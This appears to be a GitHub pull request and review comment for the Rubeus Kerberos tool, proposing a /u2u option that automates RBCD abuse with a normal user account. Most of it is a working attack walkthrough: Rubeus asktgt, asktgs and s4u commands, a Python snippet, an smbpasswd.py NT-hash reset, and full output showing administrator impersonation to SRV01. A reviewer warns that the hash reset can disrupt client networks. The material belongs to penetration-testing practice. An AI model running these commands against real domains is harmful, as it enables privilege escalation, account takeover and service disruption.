Added /u2u option for S4U attack

[snovvcrash]

Hey!

In this PR I'd like to bring automatic RBCD exploitation when using a normal user account (i. e., UPNs instead of SPNs). The original research was presented by @tyranid.

One way of abusing RBCD with UPNs without modifying Rubeus goes like this.

1. Let's say, user j.doe is populated within the msDS-AllowedToActOnBehalfOfOtherIdentity property of the SRV01 machine:

PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount j.doe

2. Request a regular TGT for j.doe:

C:\Rubeus>Rubeus.exe asktgt /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap

3. Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to impersonate within the /targetuser option (an S4U2self request):

C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TGT>

4. Obtain a hex view of the current TGT session key (RC4-HMAC):

import binascii, base64
print(binascii.hexlify(base64.b64decode("<TGT_SESSION_KEY_B64>")).decode())

5. Set j.doe's NT hash to the hexlified TGT session key (e. g., using smbpasswd.py from Impacket):

$ smbpasswd.py megacorp.local/j.doe:'Passw0rd!'@DC01.megacorp.local -newhashes :<TGT_SESSION_KEY_HEX>

6. Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got from the U2U request) within the /tgs option (an S4U2proxy request):

C:\Rubeus>Rubeus.exe s4u /msdsspn:host/SRV01.megacorp.local /ticket:<TGT> /tgs:<TGS>

After merging @vletoux's SetNTLM.ps1 code (which utilizes SamrChangePasswordUser API call) into Rubeus, the NT hash change can be performed automatically providing the /u2u option in s4u command:

C:\Rubeus>Rubeus.exe s4u /u2u /user:j.doe /rc4:fc525c9683e8fe067095ba2ddc971889 /impersonateuser:administrator /msdsspn:host/SRV01.megacorp.local

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.1.1

[*] Action: S4U

[*] Using rc4_hmac hash: fc525c9683e8fe067095ba2ddc971889
[*] Building AS-REQ (w/ preauth) for: 'megacorp.local\j.doe'
[*] Using domain controller: 172.22.0.2:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFbDCCBWigAwIBBaEDAgEWooIEhDCCBIBhggR8MIIEeKADAgEFoQ4bDFRJTllDT1JQLk5FVKIhMB+g
                                        ...(snip)...
      VElOWUNPUlAubmV0


[*] Action: S4U

[*] Building S4U2self request for: 'j.doe@megacorp.local'
[*] Using domain controller: DC01.megacorp.local (172.22.0.2)
[*] Sending S4U2self request to 172.22.0.2:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'j.doe@megacorp.local'
[*] base64(ticket.kirbi):

      doIFxTCCBcGgAwIBBaEDAgEWooIE5DCCBOBhggTcMIIE2KADAgEFoQ4bDFRJTllDT1JQLk5FVKISMBCg
                                        ...(snip)...
      NTAyNlqoDhsMVElOWUNPUlAuTkVUqRIwEKADAgEAoQkwBxsFai5kb2U=

[*] Action: Set User NT Hash

[*] Using domain controller: DC01.megacorp.local (172.22.0.2)
[*] [MS-SAMR] Obtaining handle to domain controller object
[*] [MS-SAMR] Obtaining handle to domain object
[*] [MS-SAMR] Obtaining handle to user object 'j.doe' with RID '2139'
[*] [MS-SAMR] Changing NT hash of user 'j.doe' to 'BB4718F7922168098AAE1BF29C8FCB11'
[+] NT hash change success!

[*] Impersonating user 'administrator' to target SPN 'host/SRV01.megacorp.local'
[*] Building S4U2proxy request for service: 'host/SRV01.megacorp.local'
[*] Using domain controller: DC01.megacorp.local (172.22.0.2)
[*] Sending S4U2proxy request to domain controller 172.22.0.2:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'host/SRV01.megacorp.local':

      doIGoDCCBpygAwIBBaEDAgEWooIFqjCCBaZhggWiMIIFnqADAgEFoQ4bDFRJTllDT1JQLk5FVKInMCWg
                                        ...(snip)...
      Q0hJQ0FHTy50aW55Y29ycC5uZXQ=

I will be happy to update README if you find this addition desirable 😬

[0xe7]

The reason I didn't automate this myself is because I don't see the benefit of automating something that can be performed easily without full automation that causes changes that could disrupt client infrastructures. IMO automating this only benefits people that don't understand what is actually happening, and those people shouldn't be performing this in the first place. Resetting the RC4 key on an account makes the RC4 and AES keys out of sync, which could cause disruption on the network.

Anyone that understands what is going on here could easily implement the full automation themselves, so I'd be for leaving this out of the main Rubeus, but ultimately it's up to @HarmJ0y